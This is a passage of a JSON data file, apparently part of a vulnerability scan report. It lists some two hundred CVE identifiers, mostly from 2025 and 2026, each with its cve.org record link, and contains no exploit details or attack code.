        {
          "name": "CVE-2025-69872",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69872"
        },
        {
          "name": "CVE-2025-2998",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2998"
        },
        {
          "name": "CVE-2026-3833",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3833"
        },
        {
          "name": "CVE-2026-106449",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-106449"
        },
        {
          "name": "CVE-2026-71887",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71887"
        },
        {
          "name": "CVE-2026-26310",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26310"
        },
        {
          "name": "CVE-2026-16118",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16118"
        },
        {
          "name": "CVE-2026-42769",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42769"
        },
        {
          "name": "CVE-2026-44660",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44660"
        },
        {
          "name": "CVE-2026-93563",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93563"
        },
        {
          "name": "CVE-2025-13151",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13151"
        },
        {
          "name": "CVE-2026-59900",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59900"
        },
        {
          "name": "CVE-2026-96638",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96638"
        },
        {
          "name": "CVE-2026-54679",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54679"
        },
        {
          "name": "CVE-2026-70464",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70464"
        },
        {
          "name": "CVE-2026-112892",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112892"
        },
        {
          "name": "CVE-2026-49459",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49459"
        },
        {
          "name": "CVE-2026-6253",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6253"
        },
        {
          "name": "CVE-2025-6141",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6141"
        },
        {
          "name": "CVE-2026-92387",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92387"
        },
        {
          "name": "CVE-2026-78227",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78227"
        },
        {
          "name": "CVE-2026-12064",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12064"
        },
        {
          "name": "CVE-2026-25934",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25934"
        },
        {
          "name": "CVE-2026-6470",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6470"
        },
        {
          "name": "CVE-2026-96232",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96232"
        },
        {
          "name": "CVE-2026-112406",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112406"
        },
        {
          "name": "CVE-2026-50229",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50229"
        },
        {
          "name": "CVE-2025-6020",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6020"
        },
        {
          "name": "CVE-2026-89425",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89425"
        },
        {
          "name": "CVE-2026-48962",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48962"
        },
        {
          "name": "CVE-2022-48064",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-48064"
        },
        {
          "name": "CVE-2026-19672",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19672"
        },
        {
          "name": "CVE-2025-68161",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-68161"
        },
        {
          "name": "CVE-2026-14669",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14669"
        },
        {
          "name": "CVE-2026-114137",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114137"
        },
        {
          "name": "CVE-2026-55092",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55092"
        },
        {
          "name": "CVE-2026-112898",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112898"
        },
        {
          "name": "CVE-2026-12480",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12480"
        },
        {
          "name": "CVE-2026-68495",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68495"
        },
        {
          "name": "CVE-2026-70035",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70035"
        },
        {
          "name": "CVE-2026-7774",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7774"
        },
        {
          "name": "CVE-2025-22868",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22868"
        },
        {
          "name": "CVE-2026-42010",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42010"
        },
        {
          "name": "CVE-2026-62290",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62290"
        },
        {
          "name": "CVE-2026-5435",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5435"
        },
        {
          "name": "CVE-2026-42506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42506"
        },
        {
          "name": "CVE-2026-77762",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77762"
        },
        {
          "name": "CVE-2026-93566",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93566"
        },
        {
          "name": "CVE-2026-34479",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34479"
        },
        {
          "name": "CVE-2026-40553",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40553"
        },
        {
          "name": "CVE-2026-76641",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76641"
        },
        {
          "name": "CVE-2025-3360",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3360"
        },
        {
          "name": "CVE-2026-22796",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-22796"
        },
        {
          "name": "CVE-2026-80225",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80225"
        },
        {
          "name": "CVE-2026-74049",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-74049"
        },
        {
          "name": "CVE-2026-77408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77408"
        },
        {
          "name": "CVE-2026-48042",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48042"
        },
        {
          "name": "CVE-2019-1010204",
          "url": "https://www.cve.org/CVERecord?id=CVE-2019-1010204"
        },
        {
          "name": "CVE-2026-4647",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4647"
        },
        {
          "name": "CVE-2026-40226",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40226"
        },
        {
          "name": "CVE-2025-61724",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61724"
        },
        {
          "name": "CVE-2026-44973",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44973"
        },
        {
          "name": "CVE-2026-78383",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78383"
        },
        {
          "name": "CVE-2026-114437",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114437"
        },
        {
          "name": "CVE-2026-70463",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70463"
        },
        {
          "name": "CVE-2019-9193",
          "url": "https://www.cve.org/CVERecord?id=CVE-2019-9193"
        },
        {
          "name": "CVE-2026-48961",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48961"
        },
        {
          "name": "CVE-2026-112942",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112942"
        },
        {
          "name": "CVE-2026-112399",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112399"
        },
        {
          "name": "CVE-2026-95184",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95184"
        },
        {
          "name": "CVE-2026-3219",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3219"
        },
        {
          "name": "CVE-2024-7348",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-7348"
        },
        {
          "name": "CVE-2026-42013",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42013"
        },
        {
          "name": "CVE-2026-11824",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11824"
        },
        {
          "name": "CVE-2026-3832",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3832"
        },
        {
          "name": "CVE-2026-44605",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44605"
        },
        {
          "name": "CVE-2026-2303",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2303"
        },
        {
          "name": "CVE-2026-69243",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69243"
        },
        {
          "name": "CVE-2025-61732",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61732"
        },
        {
          "name": "CVE-2025-61723",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61723"
        },
        {
          "name": "CVE-2026-5928",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5928"
        },
        {
          "name": "CVE-2024-10976",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10976"
        },
        {
          "name": "CVE-2026-0964",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0964"
        },
        {
          "name": "CVE-2026-113351",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-113351"
        },
        {
          "name": "CVE-2026-114501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114501"
        },
        {
          "name": "CVE-2025-11083",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11083"
        },
        {
          "name": "CVE-2026-116586",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116586"
        },
        {
          "name": "CVE-2023-45803",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-45803"
        },
        {
          "name": "CVE-2026-14678",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14678"
        },
        {
          "name": "CVE-2026-23992",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-23992"
        },
        {
          "name": "CVE-2026-93562",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93562"
        },
        {
          "name": "CVE-2026-27199",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27199"
        },
        {
          "name": "CVE-2026-70457",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70457"
        },
        {
          "name": "CVE-2026-71888",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71888"
        },
        {
          "name": "CVE-2026-39831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39831"
        },
        {
          "name": "CVE-2026-86145",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86145"
        },
        {
          "name": "CVE-2026-109125",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-109125"
        },
        {
          "name": "CVE-2026-86350",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86350"
        },
        {
          "name": "CVE-2026-39828",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39828"
        },
        {
          "name": "CVE-2026-54787",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54787"
        },
        {
          "name": "CVE-2026-45447",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45447"
        },
        {
          "name": "CVE-2025-8713",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8713"
        },
        {
          "name": "CVE-2024-25620",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-25620"
        },
        {
          "name": "CVE-2026-77955",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77955"
        },
        {
          "name": "CVE-2026-8924",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8924"
        },
        {
          "name": "CVE-2026-70456",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70456"
        },
        {
          "name": "CVE-2021-3826",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-3826"
        },
        {
          "name": "CVE-2026-12243",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12243"
        },
        {
          "name": "CVE-2025-6170",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6170"
        },
        {
          "name": "CVE-2026-92391",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92391"
        },
        {
          "name": "CVE-2026-78409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78409"
        },
        {
          "name": "CVE-2026-70460",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70460"
        },
        {
          "name": "CVE-2026-101896",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-101896"
        },
        {
          "name": "CVE-2026-15003",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15003"
        },
        {
          "name": "CVE-2026-85747",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85747"
        },
        {
          "name": "CVE-2025-68146",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-68146"
        },
        {
          "name": "CVE-2026-48702",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48702"
        },
        {
          "name": "CVE-2026-25679",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25679"
        },
        {
          "name": "CVE-2026-40612",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40612"
        },
        {
          "name": "CVE-2026-117610",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-117610"
        },
        {
          "name": "CVE-2025-14017",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14017"
        },
        {
          "name": "CVE-2026-33811",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33811"
        },
        {
          "name": "CVE-2026-96642",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96642"
        },
        {
          "name": "CVE-2024-45337",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-45337"
        },
        {
          "name": "CVE-2026-107778",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107778"
        },
        {
          "name": "CVE-2025-3730",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3730"
        },
        {
          "name": "CVE-2026-39979",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39979"
        },
        {
          "name": "CVE-2026-90802",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90802"
        },
        {
          "name": "CVE-2026-81726",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81726"
        },
        {
          "name": "CVE-2025-13836",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13836"
        },
        {
          "name": "CVE-2026-1229",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1229"
        },
        {
          "name": "CVE-2026-101296",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-101296"
        },
        {
          "name": "CVE-2026-9079",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9079"
        },
        {
          "name": "CVE-2026-19931",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19931"
        },
        {
          "name": "CVE-2025-61725",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61725"
        },
        {
          "name": "CVE-2026-63075",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63075"
        },
        {
          "name": "CVE-2026-56407",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56407"
        },
        {
          "name": "CVE-2026-25210",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25210"
        },
        {
          "name": "CVE-2026-28387",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-28387"
        },
        {
          "name": "CVE-2026-115557",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-115557"
        },
        {
          "name": "CVE-2022-42967",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-42967"
        },
        {
          "name": "CVE-2024-52533",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-52533"
        },
        {
          "name": "CVE-2026-102474",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102474"
        },
        {
          "name": "CVE-2026-28388",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-28388"
        },
        {
          "name": "CVE-2026-23991",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-23991"
        },
        {
          "name": "CVE-2026-118131",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-118131"
        },
        {
          "name": "CVE-2025-7039",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-7039"
        },
        {
          "name": "CVE-2026-96235",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96235"
        },
        {
          "name": "CVE-2026-50251",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50251"
        },
        {
          "name": "CVE-2026-40192",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40192"
        },
        {
          "name": "CVE-2026-112404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112404"
        },
        {
          "name": "CVE-2026-50020",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50020"
        },
        {
          "name": "CVE-2026-55708",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55708"
        },
        {
          "name": "CVE-2026-25680",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25680"
        },
        {
          "name": "CVE-2026-87910",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87910"
        },
        {
          "name": "CVE-2026-46384",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46384"
        },
        {
          "name": "CVE-2026-91782",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91782"
        },
        {
          "name": "CVE-2020-25695",
          "url": "https://www.cve.org/CVERecord?id=CVE-2020-25695"
        },
        {
          "name": "CVE-2026-54512",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
        },
        {
          "name": "CVE-2026-39835",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39835"
        },
        {
          "name": "CVE-2026-59197",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59197"
        },
        {
          "name": "CVE-2026-112895",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112895"
        },
        {
          "name": "CVE-2025-5918",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5918"
        },
        {
          "name": "CVE-2026-6478",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6478"
        },
        {
          "name": "CVE-2026-114603",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114603"
        },
        {
          "name": "CVE-2026-33815",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33815"
        },
        {
          "name": "CVE-2026-42578",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
        },
        {
          "name": "CVE-2026-100407",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-100407"
        },
        {
          "name": "CVE-2026-78683",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78683"
        },
        {
          "name": "CVE-2026-32874",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32874"
        },
        {
          "name": "CVE-2025-3263",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3263"
        },
        {
          "name": "CVE-2026-48497",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48497"
        },
        {
          "name": "CVE-2025-4878",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4878"
        },
        {
          "name": "CVE-2026-65899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
        },
        {
          "name": "CVE-2025-12818",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12818"
        },
        {
          "name": "CVE-2025-32990",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32990"
        },
        {
          "name": "CVE-2026-78663",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78663"
        },
        {
          "name": "CVE-2026-97031",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97031"
        },
        {
          "name": "CVE-2026-10532",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-10532"
        },
        {
          "name": "CVE-2026-112901",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112901"
        },
        {
          "name": "CVE-2026-12087",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12087"
        },
        {
          "name": "CVE-2026-4519",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4519"
        },
        {
          "name": "CVE-2026-53612",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53612"
        },
        {
          "name": "CVE-2025-3001",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3001"
        },
        {
          "name": "CVE-2026-116585",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116585"
        },
        {
          "name": "CVE-2026-83520",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-83520"
        },
        {
          "name": "CVE-2026-114691",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114691"
        },
        {
          "name": "CVE-2025-15366",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15366"
        },
        {
          "name": "CVE-2021-45261",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-45261"
        },
        {
          "name": "CVE-2026-91781",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91781"
        },
        {
          "name": "CVE-2026-53493",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53493"
        },
        {
          "name": "CVE-2025-13462",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13462"
        },
        {
          "name": "CVE-2025-4802",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4802"
        },
        {
          "name": "CVE-2026-40164",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40164"
        },
        {
          "name": "CVE-2026-0990",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0990"
        },
        {
          "name": "CVE-2026-55956",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55956"
        },
        {
          "name": "CVE-2026-77410",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77410"
        },
        {
          "name": "CVE-2026-54060",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54060"
        },
        {
          "name": "CVE-2026-32289",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32289"
        },
        {
          "name": "CVE-2026-0865",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0865"
        },
        {
          "name": "CVE-2026-24686",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24686"
        },
        {
          "name": "CVE-2026-18924",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18924"
        },
        {
          "name": "CVE-2026-68496",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68496"
        },
        {
          "name": "CVE-2026-97045",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97045"
        },
        {
          "name": "CVE-2026-111750",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111750"
        },
        {
          "name": "CVE-2026-45446",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45446"
        },
        {
          "name": "CVE-2026-112893",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112893"
        },
        {
          "name": "CVE-2026-102010",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102010"
        },
        {
          "name": "CVE-2026-12570",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12570"
        },
        {
          "name": "CVE-2026-82209",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82209"
        },
        {
          "name": "CVE-2026-69244",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69244"
        },
        {
          "name": "CVE-2025-66221",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66221"
        },
        {
          "name": "CVE-2026-91777",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91777"
        },
        {
          "name": "CVE-2026-58011",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58011"
        },
        {
          "name": "CVE-2025-32989",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32989"
        },
        {
          "name": "CVE-2026-41506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41506"
        },
        {
          "name": "CVE-2026-15741",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15741"
        },
        {
          "name": "CVE-2025-6051",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6051"
        },
        {
          "name": "CVE-2026-63382",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63382"
        },
        {
          "name": "CVE-2026-4111",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4111"
        },
        {
          "name": "CVE-2025-22874",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22874"
        },
        {
          "name": "CVE-2026-106453",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-106453"
        },
        {
          "name": "CVE-2026-24515",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24515"
        },
        {
          "name": "CVE-2026-14677",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14677"
        },
        {
          "name": "CVE-2025-11495",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11495"
        },
        {
          "name": "CVE-2026-118669",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-118669"
        },
        {
          "name": "CVE-2025-66034",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66034"
        },
        {
          "name": "CVE-2026-104873",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-104873"
        },
        {
          "name": "CVE-2024-41110",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-41110"
        },
        {
          "name": "CVE-2026-77411",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77411"
        },
        {
          "name": "CVE-2026-119375",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119375"
        },
        {
          "name": "CVE-2025-48386",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-48386"
        },
        {
          "name": "CVE-2026-24117",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24117"
        },
        {
          "name": "CVE-2025-55199",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-55199"
        },
        {
          "name": "CVE-2026-109518",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-109518"
        },
        {
          "name": "CVE-2021-23214",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-23214"
        },
        {
          "name": "CVE-2026-45570",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45570"
        },
        {
          "name": "CVE-2026-6475",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6475"
        },
        {
          "name": "CVE-2026-78680",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78680"
        },
        {
          "name": "CVE-2025-5025",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5025"
        },
        {
          "name": "CVE-2026-86410",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86410"
        },
        {
          "name": "CVE-2026-84304",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84304"
        },
        {
          "name": "CVE-2026-56405",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56405"
        },
        {
          "name": "CVE-2026-63076",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63076"
        },
        {
          "name": "CVE-2024-34459",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-34459"
        },
        {
          "name": "CVE-2025-49795",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-49795"
        },
        {
          "name": "CVE-2025-14104",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14104"
        },
        {
          "name": "CVE-2026-103111",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-103111"
        },
        {
          "name": "CVE-2026-78667",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78667"
        },
        {
          "name": "CVE-2026-34165",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34165"
        },
        {
          "name": "CVE-2026-93749",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93749"
        },
        {
          "name": "CVE-2026-49264",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49264"
        },
        {
          "name": "CVE-2026-6100",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6100"
        },
        {
          "name": "CVE-2026-59083",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59083"
        },
        {
          "name": "CVE-2021-46848",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-46848"
        },
        {
          "name": "CVE-2026-78659",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78659"
        },
        {
          "name": "CVE-2026-32280",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32280"
        },
        {
          "name": "CVE-2026-56411",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56411"
        },
        {
          "name": "CVE-2026-50106",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50106"
        },
        {
          "name": "CVE-2025-47912",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47912"
        },
        {
          "name": "CVE-2026-16742",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16742"
        },
        {
          "name": "CVE-2026-77404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77404"
        },
        {
          "name": "CVE-2026-70452",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70452"
        },
        {
          "name": "CVE-2026-3276",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3276"
        },
        {
          "name": "CVE-2025-11414",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11414"
        },
        {
          "name": "CVE-2025-66861",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66861"
        },
        {
          "name": "CVE-2026-4438",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4438"
        },
        {
          "name": "CVE-2026-119376",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119376"
        },
        {
          "name": "CVE-2026-58016",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58016"
        },
        {
          "name": "CVE-2026-90831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90831"
        },
        {
          "name": "CVE-2026-63383",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63383"
        },
        {
          "name": "CVE-2025-68160",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-68160"
        },
        {
          "name": "CVE-2026-59888",
